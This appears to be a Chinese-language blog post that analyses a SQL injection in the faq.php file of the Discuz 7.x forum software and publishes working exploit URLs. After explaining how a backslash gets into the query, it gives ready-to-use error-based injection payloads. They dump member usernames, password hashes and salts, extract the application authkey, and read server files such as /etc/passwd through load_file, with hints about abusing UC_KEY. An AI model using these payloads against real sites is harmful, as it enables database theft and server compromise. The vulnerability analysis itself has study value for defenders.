Discuz7.xSQL注入漏洞分析与EXP

这篇日志发布时间已经超过一年,许多内容可能已经失效,请读者酌情参考。

今天群里突然发出了Discuz 7.x的SQL注入漏洞POC,看了一下非常震惊, 这下互联网上又得是一片血雨腥风了。

POC和EXP都在乌云上公开了,官方补丁也出了,我就写一下漏洞分析吧。

0x01  漏洞分析

出漏洞的文件是/faq.php,是由于$gids变量覆盖导致的SQL注入。

详细分析如下,那个单引号逃逸还挺有意思的。

faq.php文件代码

打开faq.php,就看到了在第11行的位置引入了/include/common.inc.php,而在这个文件中,DZ对GPC的变量做了逐一注册。

注册GPC并进行转义

同时使用了daddslashes函数为变量进行转义。(这导致了高版本去掉魔术引号的PHP环境下同样通杀)

被覆盖的变量是$gids,第一次出现在第170行,我觉得php这种不提前声明变量就可以用确实是一个挺蛋疼的事情。

漏洞产生

可以看到$gids未提前声明,直接在if条件语句中使用, 因此可以在之前通过GPC覆盖掉来控制$gids变量的值。

可以看到在if-else处理后,$gids为二维数组,且$gids[0]到$gids[4]会被程序修改覆盖,因此我们能够控制的变量只有$gids[5]及其以上的位置。

程序随后对$gids进行了排序,然后使用foreach把第二维数组的第一个元素添加到$groupids数组中。

ksort($gids);
$groupids = array();
foreach($gids as $row) {
	$groupids[] = $row[0];
}
$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

可以看到,$groupids经过implode拼接之后以   '变量1','变量2'     的形式插入到SQL语句中并执行。

此处的变量由单引号包裹,必须想办法闭合才能成功注入,那么现在有两条思路。

1、插入 ' 单引号闭合后边的单引号。

可是在GPC的时候DZ用daddslashes函数为 ' 转义,没办法用来闭合程序原有的单引号。 

2、插入 \ 反斜杠转义程序原有的单引号。

可以反过来利用daddslashes为特殊字符进行的转义,即把 \ ' " 转义为 \\ \' \",在第一个元素位置增加了一个反斜杠,而这个就是我们要利用的。

在PHP中,字符串相当于字符数组,可以按下标访问字符串中的每一个字符,如下。

$row = 'abcde';
$row[0] = 'a';
$row[1] = 'b';

$row = '\\';
//$row[0]就是\

利用这个特性,就可以在$groupids中插入一个反斜杠,在用implode拼接后,可以用来转义程序自带的引号,这样就可以插入SQL注入语句了。

完整的POC如下:

http://demo/dz/faq.php
?action=grouppermission
&gids[5]=\
&gids[6][0]=) and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

执行流程是:

//假设$gids[4][0] = 7,其实在ksort之后key都变成012了,用456是为了直观
$gids[4][0] = 7;
$gids[5] = '\\';
$gids[6][0] = ') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23';
foreach($gids as $row){
    $groupids[] = $row[0];
}
$groupids[4] = 7;
$groupids[5] = '\';//这里是未转义的\
$groupids[6] = ') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23';
$implode = "'".implode("','", $groupids)."'";
// '7','\',') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'
$sql = "SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ($implode)";
/*
SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','\',') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#')
*/

如此一来,通过报错注入,就可以拿到数据库中的数据了,读文件也不是不可以啊~读到UC_KEY就能发挥想象力了~~

POC

load_file

0x02 EXP

大招都是给EXP的。

1、爆密码

需要注意的是表名,默认安装的情况下是cdb_uc_members,如果有ucenter,那么就是uc_members。

如果这还没有,那么就得从information_schema中查库查表,再爆字段了。

/faq.php
?action=grouppermission
&gids[99]=\
&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(0x7c,username,0x7c,password,0x3a,salt,0x7c) from cdb_uc_members limit 1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

exp1.png

2、读authkey,默认是从cdb_uc_applications表中读,同上。

/faq.php
?action=grouppermission
&gids[5]=\
&gids[6][0]=) and (select 1 from (select count(*),concat(((select concat(0x7c,substr(authkey,1,62),0x7c) from cdb_uc_applications limit 0,1)),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

3、读文件

读文件有个坑,报错只能显示64字符,有的时候读取内容太长了会提示子查询过多,因此只能一点一点的读取了。

这个POC是读/etc/passwd的,找到UC_KEY位置后自行替换,不过注意得有读权限。

/faq.php
?action=grouppermission
&gids[99]=\
&gids[100][0]=) and (select 1 from (select count(*),concat((select substring(load_file(0x2f6574632f706173737764),1,64)),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

1404307298101877.thumbnail.png

留言交流

没有评论
点击换图